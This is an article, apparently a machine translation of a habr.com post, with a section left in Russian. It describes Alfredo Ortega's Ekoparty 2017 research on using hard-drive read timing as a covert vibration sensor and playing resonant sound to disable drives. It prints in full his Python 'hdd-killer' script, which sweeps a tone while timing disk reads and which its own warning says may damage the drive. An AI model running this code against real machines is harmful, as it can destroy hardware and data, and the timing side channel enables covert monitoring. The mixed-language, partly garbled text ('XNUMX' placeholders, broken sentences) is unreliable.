
ブエノスアイレスで開催されたコンピューター セキュリティ カンファレンス Ekoparty 2017 で、アルゼンチンのハッカー、アルフレド オルテガは、マイクを使用せずに施設内を秘密裏に盗聴するシステムという非常に興味深い開発を披露しました。 音 !
HDD は主に高強度の低周波音、足音、その他の振動を拾います。 人間の音声はまだ認識できませんが、科学者たちは (ジャイロスコープや HDD などから記録された低周波振動による音声認識)。
音は空気またはその他の媒体の振動です。 人は鼓膜を通して振動を知覚し、鼓膜の振動が内耳に伝わります。 マイクは大まかに耳のように設計されています。ここでも、振動は電気インパルスを励起する薄い膜によって記録されます。 もちろん、ハードドライブも周囲の空気の変動による微細な振動の影響を受けます。 これは HDD の技術的特性からも明らかです。通常、メーカーは最大許容振動レベルを示しており、ハード ドライブ自体もゴムやその他の絶縁材料で作られた防振容器に収めようとすることがよくあります。 このことから、HDD を使用して音声を録音できると簡単に結論付けることができます。 残っているのは、その方法を理解することだけです。
アルフレド・オルテガは、サイドチャネル・アタックのユニークなバージョン、すなわちタイム・アタックを提案しました。 この攻撃は、与えられた入力データに応じて、デバイス上で異なる操作が異なる時間に実行されるという前提に基づいています。 この場合の「入力データ」は読み取りヘッドやHDDプラッターの振動であり、環境の振動、つまり音と相関関係があります。 したがって、計算時間を測定し、データの統計分析を実行することにより、ヘッド/プラッターの振動、ひいては媒体の振動を測定することができます。 データ読み取りの遅延が長いほど、HDDの振動が強くなり、音が大きくなります。
ハードドライブの振動を測定するにはどうすればよいですか? 非常に簡単: システムコールを実行するだけです read () — そして完了するまでにかかる時間を記録します。 最新のオペレーティング システムでは、システム コールのタイミングをナノ秒の精度で読み取ることができます。
セクタから情報を読み取る速度はヘッドとプラッターの位置に依存し、これは HDD ケースの振動と相関します。 それだけです。
統計分析は、単純な Kscope ユーティリティを使用して実行されます。 彼らが言うように、独創的なものはすべてシンプルです。

Kscope ユーティリティ (stat() システムコール)
Kscope は、システム コールの実行時間のわずかな違いを視覚化するための小さなユーティリティです。 ソース.
別のリポジトリ内 ハード ドライブ上でタイム アタック用に構成されたユーティリティのバージョンが存在します。つまり、システム コールを分析するように構成されています。 read ().
HDDを使った録音デモンストレーション、Kscopeユーティリティの操作

もちろん、この方法では音声を理解することはできませんが、HDD は振動センサーとして非常に適しています。 たとえば、硬い靴を履いている人や裸足の人がコンピュータのある部屋に入ってきた場合に登録できます (おそらく、攻撃者が柔らかいスニーカーを履いている場合、または床に厚いカーペットが敷かれている場合、HDD は振動を記録できません。これは確認する価値があります)。 コンピュータは、ガラスの破片やその他の強い音響強度の出来事を記録できます。 つまり、ハードドライブは一種の不正侵入検知システムとして機能する可能性があります。
HDDキラー
Кстати, схожую технику можно использовать для выведения из строя жёстких дисков. Только здесь мы не снимаем колебания с HDD, а наоборот — генерируем колебания, которые подаются на HDD. Если воспроизводить с колонки звук на частоте, которая резонирует с частотой HDD, то система вскоре отключает устройство с ошибкой ввода-вывода (ядро Linux полностью отключает HDD через 120 секунд). Сам жёсткий диск может получить необратимые повреждения.

コア Linux отключило жёсткий диск после 120 секунд подачи звука на резонирующей частоте через динамик USB-колонки Edifier r19u. Динамик включен примерно на четверть мощности (менее 100 мВт) и располагается в 20 см от HDD, направлен на стол для усиления вибраций. Кадр из HDDキラーのデモンストレーション付き
HDD に対するこのような「攻撃」が、日常生活の中でまったく偶然に発生することがあるのは興味深いことです。 たとえば、2016 年 10 月、ING 銀行のデータセンターは消防訓練後に XNUMX 時間の業務停止を余儀なくされました。 高圧下でシリンダーから不活性ガスが放出される大きな音が原因です。 音は非常に大きかった (130 dB 以上) が、ハード ドライブに向かって叫ぶことさえできません。これにより、HDD へのアクセスの遅延が増加します。
データセンター内のハードドライブに向かって人間が叫ぶデモ。 レイテンシ測定

共鳴音を生成するために、Alfredo Ortega は Python スクリプトを作成しました。 ().
非常に小さいので、ここで全文を公開できます。
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()出所: habr.com
